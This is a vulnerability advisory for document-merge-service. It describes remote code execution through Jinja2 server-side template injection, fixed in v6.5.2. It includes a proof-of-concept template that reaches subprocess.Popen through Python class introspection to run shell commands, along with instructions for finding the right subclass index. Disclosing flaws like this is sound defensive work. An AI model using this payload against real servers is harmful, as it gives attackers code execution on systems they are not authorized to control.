document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection
### Impact
_What kind of vulnerability is it? Who is impacted?_
A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.
### Patches
_Has the problem been patched? What versions should users upgrade to?_
It has been patched in v6.5.2
### References
_Are there any links users can visit to find out more?_
-
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
### POC
Add the following to a document, upload and render it:
```jinja2
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %}
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}
uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}
{% endif %}
```
The index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.
!image
https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1